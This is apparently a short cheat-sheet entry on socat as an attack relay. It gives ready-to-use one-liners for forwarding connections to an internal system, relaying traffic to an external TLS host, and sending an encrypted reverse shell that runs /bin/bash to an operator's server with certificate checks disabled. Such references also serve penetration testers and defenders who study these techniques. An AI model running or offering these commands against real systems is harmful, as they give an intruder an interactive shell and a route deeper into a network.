Socat is a general-purpose relay that connects two data channels (TCP, UDP, UNIX sockets, files, processes, TLS and more). It can forward ports, relay between networks and expose a local program over a socket, and is commonly installed or uploaded as a static binary.
Forwards connections arriving on the host to another internal system.
socat TCP-LISTEN:<PORT>,fork,reuseaddr TCP:<TARGET_IP>:<TARGET_PORT>
Sends an encrypted reverse shell to a listening operator host.
socat OPENSSL:<SERVER>:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
Relays plaintext local connections to a TLS service on an external host.
socat TCP-LISTEN:<PORT>,fork OPENSSL:<SERVER>:443,verify=0